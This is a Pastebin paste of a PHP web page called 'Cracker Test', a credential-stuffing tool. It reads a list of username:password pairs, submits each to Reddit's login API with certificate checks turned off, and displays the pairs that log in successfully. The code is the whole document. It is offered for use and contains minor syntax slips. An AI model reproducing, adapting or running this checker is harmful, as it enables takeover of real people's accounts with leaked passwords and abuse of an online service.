Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <head>
- <title>Cracker Test</title>
- <style>
- p {
- font-size: 12px;
- }
- </style>
- </head>
- <body style="background-color: #000;">
- <p align="center">
- <form method='POST'>
- <center><font size="5" style="color: #FFF; font-weight:bold; font-family: verdana;">Cracker Test</center>
- <center><input type="text" name="user" id="user" style="background-color: #FFF;" value="combo.txt"><br>Example: wordlist.txt<br>max 1.000 lines<br></center>
- <p><center><input type="submit" value="Reset" name="scan"><br><br></p></center>
- </textarea>
- </form>
- </body>
- <?php
- @set_time_limit(0);
- if(isset($_POST['user'])) {
- crack();
- }
- function crack() {
- $readwordlist = $_POST['user'];
- $lines = file($readwordlist);
- foreach ($lines as $line) {
- $readwordlist = "working.txt";
- $combo = explode(':', $line);
- $username = $combo[0];
- $password = $combo[1];
- try {
- // Curl Function ^_^
- $ch = curl_init();
- $headarray = array(
- 'Host: www.reddit.com',
- 'Connection: keep-alive',
- 'Accept: application/json, text/javascript, */*; q=0.01',
- 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
- 'Origin: https://www.reddit.com',
- );
- $options = array(
- CURLOPT_URL => "https://www.reddit.com",
- CURLOPT_HTTPHEADER => $headarray,
- CURLOPT_FOLLOWLOCATION => true,
- CURLOPT_CONNECTTIMEOUT => 20,
- CURLOPT_TIMEOUT => 20,
- CURLOPT_SSL_VERIFYHOST => false,
- CURLOPT_SSL_VERIFYPEER => false,
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_COOKIEFILE => "",
- CURLOPT_FRESH_CONNECT => true,
- CURLOPT_REFERER => "https://www.reddit.com/",
- CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4,
- );
- curl_setopt_array($ch, $options);
- $check = curl_exec($ch);
- if (strpos($check, "reddit") <> true)
- {
- echo "something went wrong!, trying new request<br>";
- } else
- {
- // Curl Function ^_^
- $headarray = NULL;
- $headarray = array(
- 'Host: www.reddit.com',
- 'Connection: keep-alive',
- 'Accept: application/json, text/javascript, */*; q=0.01',
- 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
- 'Origin: https://www.reddit.com',
- 'X-Requested-With: XMLHttpRequest',
- );
- curl_setopt($ch, CURLOPT_URL, "https://www.reddit.com/api/login/" . $username);
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headarray);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_REFERER, "https://www.reddit.com/");
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
- curl_setopt($ch, CURLOPT_TIMEOUT, 20);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "op=login-main&user=".$username."&passwd=".$password."&api_type=json");
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
- //perform our request
- $result = curl_exec($ch);
- curl_close($ch);
- if (strpos($result, "modhash")) {
- echo "<textarea cols=\"50\" rows=\"10\" style=\"background-color:green; color:#000;\">"$username . ":" . $password . "</textarea><br>";
- return 2;
- }
- if (strpos($result, "INCORRECT_USERNAME_PASSWORD")) {
- echo "<p>This means it was invalid!.</p>";
- continue;
- return 1;
- }
- if (strpos($result, "WRONG_PASSWORD")) {
- echo "<p>This means it was wrong pass!.</p>";
- continue;
- return 1;
- }
- }
- }
- catch(Exception $e){
- throw new Exception("Invalid Request",0,$e);
- }
- }
- }
- ?>
Add Comment
Please, Sign In to add comment